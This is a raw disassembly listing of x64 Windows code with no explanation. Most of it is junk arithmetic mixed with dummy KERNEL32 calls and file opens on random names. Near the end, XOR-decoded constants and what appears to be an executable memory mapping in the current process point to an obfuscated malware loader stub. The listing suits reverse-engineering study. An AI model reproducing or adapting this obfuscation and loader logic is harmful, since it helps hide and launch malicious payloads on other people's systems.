mov rax, qword [rsp + 0x760]
sar rax, cl
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x3a60]
mov rcx, qword [rsp + 0x1d60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x51c0], rax
mov rax, qword [0x1400fd598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b0]
add eax, ecx
mov word [rsp + 0x3b4], ax
lea rax, [rsp + 0x2ca]
mov qword [rsp + 0x5a10], rax
mov rax, qword [rsp + 0x2e18]
mov rcx, qword [rsp + 0x2b40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x33f4]
mov ecx, dword [rsp + 0x219c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x568], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe78d
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0xddb], al
mov rax, qword [rsp + 0x3a08]
mov rcx, qword [0x1400fd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c8], eax
lea rax, [rsp + 0x25c]
mov qword [0x1400fd9e0], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x5a18], rax
mov rax, qword [rsp + 0x1b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1d68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a4], ax
lea rax, [0x1400fd298]
mov qword [rsp + 0x5a20], rax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3d8]
mov qword [rsp + 0x51c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3a10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x56c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x568], eax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x5a28], rax
mov rax, qword [rsp + 0xc80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1d70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1608], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5a30], rax
movzx eax, word [rsp + 0x160c]
mov word [rsp + 0x3560], ax
mov rax, qword [rsp + 0x3a18]
mov rax, qword [rax]
mov rcx, qword [0x1400fd4b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd4d8]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe51a
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
mov rax, qword [rsp + 0x1ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26c]
shl eax, cl
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x2260]
mov rcx, qword [rsp + 0x3c58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x51d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb50]
mov rcx, qword [rsp + 0x2db8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x51d8], rax
mov rcx, qword [rsp + 0x3c50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2cc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2728]
shr eax, cl
mov dword [rsp + 0xdf0], eax
lea rax, [0x1400fc39a]
mov qword [rsp + 0x5a38], rax
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
add eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x173d
mov rcx, qword [rsp + 0x51e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4250], eax
mov eax, dword [rsp + 0x1a80]
cdq
mov rcx, qword [rsp + 0x2b48]
idiv dword [rcx]
mov dword [rsp + 0x33f0], eax
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x417a
mov rcx, qword [rsp + 0x51f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c8], eax
mov rax, qword [rsp + 0x2250]
mov rax, qword [rax]
mov qword [rsp + 0x5a40], rax
lea rax, [rsp + 0x1620]
mov qword [0x1400fd9e8], rax
mov rax, qword [rsp + 0x2b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2cd0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5a48], rax
mov rax, qword [0x1400fd410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed8]
and eax, ecx
mov word [rsp + 0x1e0c], ax
movzx eax, word [rsp + 0x2c4]
movzx ecx, word [rsp + 0x44c]
sub eax, ecx
mov word [rsp + 0xedc], ax
movzx eax, byte [rsp + 0xde4]
mov byte [rsp + 0xdd9], al
mov eax, dword [rsp + 0x2190]
mov ecx, dword [0x1400fd5e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10fc], eax
mov rax, qword [rsp + 0x51f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1818]
mov qword [rsp + 0x5200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5200]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd38], rax
movzx eax, word [rsp + 0x1e08]
mov word [rsp + 0x355c], ax
mov rax, qword [0x1400fd218]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e04]
or eax, ecx
mov word [rsp + 0x3b8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9686
mov rcx, qword [rsp + 0x2cd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x2598]
mov rcx, qword [rsp + 0x3c48]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc5d8], rax
mov rax, qword [0x1400fd2d8]
mov rcx, qword [rsp + 0x25a0]
mov qword [rsp + 0x5208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5208]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3ad8], rax
mov rax, qword [rsp + 0x22f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d78]
add rax, qword [rcx]
mov qword [rsp + 0x3a20], rax
mov rax, qword [0x1400fd3e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a48], rax
movzx eax, word [rsp + 0x5e8]
mov word [rsp + 0x3558], ax
mov eax, dword [rsp + 0x272c]
cdq
idiv dword [rsp + 0x2730]
mov rcx, qword [rsp + 0x3c40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x929]
imul eax, eax, 0xd6
mov byte [rsp + 0xde3], al
movsx eax, byte [rsp + 0x3f0]
mov rcx, qword [rsp + 0x3c30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xde2], al
mov rcx, qword [rsp + 0x2ce0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xdfc]
mov ecx, dword [rsp + 0xb9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13cc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb9ea
mov rcx, qword [rsp + 0x2b60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x25a8]
mov rcx, qword [rsp + 0x2b68]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1400fd930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a28]
movzx eax, word [rax]
mov word [rsp + 0x3554], ax
movsx eax, word [rsp + 0x460]
mov rcx, qword [rsp + 0xda0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xee0], ax
lea rax, [rsp + 0x450]
mov qword [rsp + 0x5a50], rax
mov rax, qword [rsp + 0x2ce8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ba8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xde1]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x1d80]
mov eax, dword [rax]
mov dword [rsp + 0x4248], eax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3c18]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x39fa
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
movsx eax, word [rsp + 0x1610]
movsx ecx, word [rsp + 0x8ac]
sar eax, cl
mov word [rsp + 0x1e00], ax
movzx eax, word [rsp + 0x8b0]
movzx ecx, word [rsp + 0x1614]
or eax, ecx
mov word [0x1400fd8e8], ax
mov rax, qword [rsp + 0x5210]
movzx ecx, al
mov rax, qword [rsp + 0x3ad8]
shl rax, cl
mov qword [rsp + 0x3c10], rax
mov rax, qword [0x1400fd728]
movzx eax, word [rax]
mov word [rsp + 0x3550], ax
mov rcx, qword [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f0], eax
movzx eax, byte [rsp + 0x54e]
movzx ecx, byte [rsp + 0xcd]
add eax, ecx
mov byte [rsp + 0x2cf], al
lea rax, [rsp + 0x2600]
mov qword [rsp + 0x5a58], rax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2734]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92a]
sub eax, ecx
mov byte [rsp + 0xde0], al
mov rax, qword [rsp + 0x14e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1b20]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1dfc], ax
lea rax, [rsp + 0x1df8]
mov qword [0x1400fd9f0], rax
mov rax, qword [rsp + 0xb48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b98], rax
mov rax, qword [rsp + 0x2b70]
mov rax, qword [rax]
mov qword [rsp + 0x5a60], rax
movsx eax, word [rsp + 0x1618]
mov rcx, qword [rsp + 0x5218]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1df4], ax
movzx eax, word [rsp + 0x5ec]
mov word [rsp + 0x354c], ax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov ecx, dword [0x1400fd9b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2194], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.OY95IafwsJPyLfLD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5a68], rax
mov rax, qword [rsp + 0x22d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2b78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x60a], al
mov rax, qword [rsp + 0x1d88]
mov rcx, qword [rsp + 0x25b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5228], rax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d90], rax
movzx eax, word [rsp + 0x140]
mov word [0x1400fd9f8], ax
movzx eax, word [rsp + 0xee4]
mov word [rsp + 0x3548], ax
mov rax, qword [rsp + 0xc50]
mov rcx, qword [rsp + 0x2b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2738], eax
movzx eax, byte [rsp + 0x92b]
movzx ecx, byte [rsp + 0xf5]
shl eax, cl
mov byte [rsp + 0xddf], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xe01f
mov rcx, qword [rsp + 0x2b88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
mov rax, qword [rsp + 0x25b8]
mov rax, qword [rax]
mov rcx, qword [0x1400fc418]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d98], rax
mov rax, qword [rsp + 0x25c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2dc8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x92c], al
mov rax, qword [rsp + 0x1158]
mov eax, dword [rax]
mov dword [rsp + 0x21d4], eax
mov rcx, qword [rsp + 0x3a38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4244], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf301
mov rcx, qword [rsp + 0x2b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a78], eax
mov rax, qword [0x1400fd930]
mov rcx, qword [rsp + 0x3308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1a58], rax
lea rax, [rsp + 0xee8]
mov qword [rsp + 0x5a70], rax
mov eax, 0x38
imul rax, rax, 3
mov dword [rsp + rax + 0x5b64], 0x4afb12d1
mov rcx, qword [rsp + 0x3c00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3bf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd8e8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.RCzUNcE8_tQEPH2LRxo_tyQdcbUfx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5a78], rax
mov rax, qword [rsp + 0x1180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bf0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xbf0]
movzx ecx, word [rsp + 0xeec]
sar eax, cl
mov rcx, qword [rsp + 0x2d00]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d0], eax
mov rax, qword [rsp + 0x1328]
movsx eax, word [rax]
movsx ecx, word [0x1400fc514]
and eax, ecx
mov word [rsp + 0x1df0], ax
mov rax, qword [rsp + 0x1b30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d08], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x5a80], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1929
mov rcx, qword [rsp + 0x2d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x273c], eax
mov rax, qword [0x1400fd930]
mov rax, qword [rax]
add rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2d20]
mov qword [rcx], rax
mov eax, dword [rsp + 0xcc0]
movzx ecx, al
mov eax, dword [rsp + 0x998]
shl eax, cl
mov dword [rsp + 0x2198], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5a88], rax
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x5a90], rax
lea rax, [0x1400fd908]
mov qword [0x1400fda00], rax
movzx eax, byte [rsp + 0x1bd]
mov rcx, qword [rsp + 0x5230]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x25c8]
mov byte [rcx], al
lea rax, [rsp + 0x1a64]
mov qword [rsp + 0x5298], rax
movsx eax, word [rsp + 0xef0]
movsx ecx, word [0x1400fd8ec]
or eax, ecx
mov rcx, qword [rsp + 0x2290]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x268]
sar eax, cl
mov rcx, qword [rsp + 0x1168]
mov word [rcx], ax
mov eax, dword [rsp + 0x670]
mov dword [rsp + 0x4240], eax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [0x1400fd8f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov qword [rsp + 0x5a98], rax
movsx eax, word [rsp + 0x6c0]
mov rcx, qword [rsp + 0x2e40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1648], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x25d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd280], ax
mov rax, qword [rsp + 0x1da0]
mov rcx, qword [rsp + 0x3a48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5238], rax
mov rax, qword [rsp + 0x1d38]
mov rax, qword [rax]
mov rcx, qword [0x1400fd9d8]
add rax, qword [rcx]
mov qword [rsp + 0x3d40], rax
mov rax, qword [rsp + 0x3ac8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2278]
sar rax, cl
mov qword [rsp + 0x1b28], rax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0x5aa0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6e8b
mov rcx, qword [rsp + 0x3d38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21bc], eax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x5240]
mov rcx, qword [rsp + 0x1da8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a50], rax
mov rax, qword [rsp + 0x1db0]
mov eax, dword [rax]
mov dword [rsp + 0x33d0], eax
movsx eax, byte [rsp + 0x92d]
movsx ecx, byte [rsp + 0x82]
and eax, ecx
mov rcx, qword [rsp + 0x3d30]
mov byte [rcx], al
mov eax, dword [rsp + 0x2740]
mov ecx, dword [rsp + 0x33ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3d28]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x60b]
movzx ecx, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
cdq
idiv ecx
mov byte [rsp + 0xdde], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x5d0e
mov rcx, qword [rsp + 0x5248]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42d8], eax
movsx eax, word [rsp + 0x5f0]
movsx ecx, word [rsp + 0xf10]
xor eax, ecx
mov word [0x1400fc5e0], ax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2fc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1770]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1768]
mov word [rcx], ax
movabs rax, 0x1e3b4eb7634bf480
mov qword [rsp + 0x2e60], rax
movzx eax, word [rsp + 0xef4]
mov word [rsp + 0x1dc8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc209
mov rcx, qword [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
mov rax, qword [rsp + 0x25e0]
mov rcx, qword [0x1400fd528]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2ba8]
mov qword [rcx], rax
movabs rax, 0x1e3b4eb76345d5e8
mov rcx, qword [rsp + 0x2e60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e60], rax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x1340]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x92e], al
lea rax, [rsp + 0x2e70]
mov qword [rsp + 0x41a8], rax
mov rax, qword [rsp + 0x1db0]
mov eax, dword [rax]
add eax, dword [rsp + 0x219c]
mov dword [rsp + 0x13d4], eax
mov rax, qword [rsp + 0x1db8]
movzx eax, word [rax]
mov word [rsp + 0x3544], ax
mov rcx, qword [rsp + 0x5250]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4370], eax
lea rcx, [rsp + 0x5cb0]
call fcn.140003460
test eax, eax
jne 0x14004f938
int3
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef8]
sub eax, ecx
mov word [rsp + 0x34c], ax
mov rax, qword [rsp + 0xf88]
mov rcx, qword [rsp + 0x3a58]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd650], rax
mov rax, qword [rsp + 0x2298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x161c]
add eax, ecx
mov rcx, qword [rsp + 0x1ae8]
mov word [rcx], ax
lea rdx, [rsp + 0x5d10]
lea rcx, [rsp + 0x5cb0]
call fcn.140003b70
test eax, eax
jne 0x14004f9ac
int3
lea rax, [rsp + 0x3d20]
mov qword [rsp + 0x5aa8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9c3e
mov rcx, qword [rsp + 0x2bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rax, qword [rsp + 0x2608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1760], rax
movsx eax, byte [rsp + 0x60c]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xddd], al
mov rax, qword [0x1400fd930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bb8], rax
lea rcx, [rsp + 0x5d88]
call fcn.1400047f0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0x2e60]
xor r8d, r8d
mov edx, ILRemoveLastID
lea rcx, [rsp + 0x5258]
call fcn.1400047f7
mov rax, qword [rsp + 0x1dc0]
mov eax, dword [rax]
add eax, dword [rsp + 0xa04]
mov rcx, qword [rsp + 0x25d8]
mov edx, dword [rsp + 0x2744]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jl 0x14004fad3
mov eax, dword [rsp + 0x1a74]
mov ecx, dword [rsp + 0x33e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x970]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa78]
movzx ecx, word [rax]
call fcn.140054310
lea rcx, [rsp + 0x5d58]
call fcn.1400047f0
mov dword [rsp + 0x48], 0x40
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x2e60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x2668]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rsp + 0x5258]
call fcn.1400047f7
movsx eax, word [rsp + 0xefc]
movsx ecx, word [rsp + 0x6bc]
shl eax, cl
movsx ecx, word [rsp + 0x1620]
mov rdx, qword [rsp + 0x5260]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14004fb93
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1090]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3330]
call fcn.140053880
jmp 0x14004fbf6
mov rax, qword [rsp + 0x1b28]
mov rcx, qword [rsp + 0x5268]
mov qword [rsp + 0x5270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5270]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x25e0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x14e8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14004fbf6
mov rax, qword [0x1400fd2c8]
mov rcx, qword [rsp + 0x2630]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x2668]
add rax, 0x6188c
mov qword [rsp + 0x32d8], rax
mov rax, qword [rsp + 0x2de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1b20]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc448], ax
movzx eax, word [rsp + 0x454]
mov word [rsp + 0x3540], ax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x32d8]
add rax, 0x4046e
mov qword [rsp + 0x32a0], rax
mov rax, qword [rsp + 0x2bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6b8]
sub eax, ecx
mov rcx, qword [rsp + 0x25f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5280]
mov rdx, qword [0x1400fd138]
mov ecx, dword [rcx]
imul ecx, dword [rdx]
cmp eax, ecx
je 0x14004fda2
movzx eax, word [rsp + 0x1624]
mov rcx, qword [rsp + 0x10a0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d18]
mov eax, dword [rax]
mov dword [rsp + 0x2748], eax
cmp dword [rsp + 0x2748], 0x10305
je 0x14004fd04
cmp dword [rsp + 0x2748], 0x20ba78df
je 0x14004fd89
jmp 0x14004fda2
movsx eax, byte [rsp + 0x234]
mov rcx, qword [0x1400fd910]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xddc], al
mov rax, qword [rsp + 0x2e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x10e4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.dtF_rmj1GWNiZv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5ab0], rax
lea rax, [rsp + 0x1348]
mov qword [rsp + 0x53d0], rax
jmp 0x14004fda2
movsx eax, word [0x1400fc514]
movsx ecx, word [rsp + 0xd0]
xor eax, ecx
mov word [rsp + 0xf00], ax
lea rax, [rsp + 0x5b60]
mov qword [rsp + 0x1360], rax
mov rax, qword [rsp + 0x1168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dec]
shl eax, cl
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0x2bc8]
mov rax, qword [rax]
mov qword [rsp + 0x3d10], rax
cmp qword [rsp + 0x3d10], 0
je 0x14004fe2c
movabs rax, 0x7449adce982964
cmp qword [rsp + 0x3d10], rax
je 0x14004fe06
jmp 0x1400521a5
mov rax, qword [rsp + 0x2240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb40]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x2e50]
mov qword [rcx], rax
jmp 0x1400521a5
mov rax, qword [rsp + 0x3328]
mov rcx, qword [rsp + 0x3d08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2e48], rax
mov rcx, qword [rsp + 0x3a70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d8], eax
mov rax, qword [rsp + 0x1b18]
movzx ecx, al
mov rax, qword [rsp + 0x2248]
sar rax, cl
mov rcx, qword [rsp + 0x1738]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1360]
mov ecx, 0xe3a113c9
cmp qword [rax + 8], rcx
je 0x140051267
mov rax, qword [rsp + 0x2d48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
shr rax, cl
mov qword [rsp + 0x5288], rax
mov rcx, qword [rsp + 0x3a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
mov rax, qword [rsp + 0x3a88]
mov rcx, qword [rsp + 0x1a18]
mov ecx, dword [rcx]
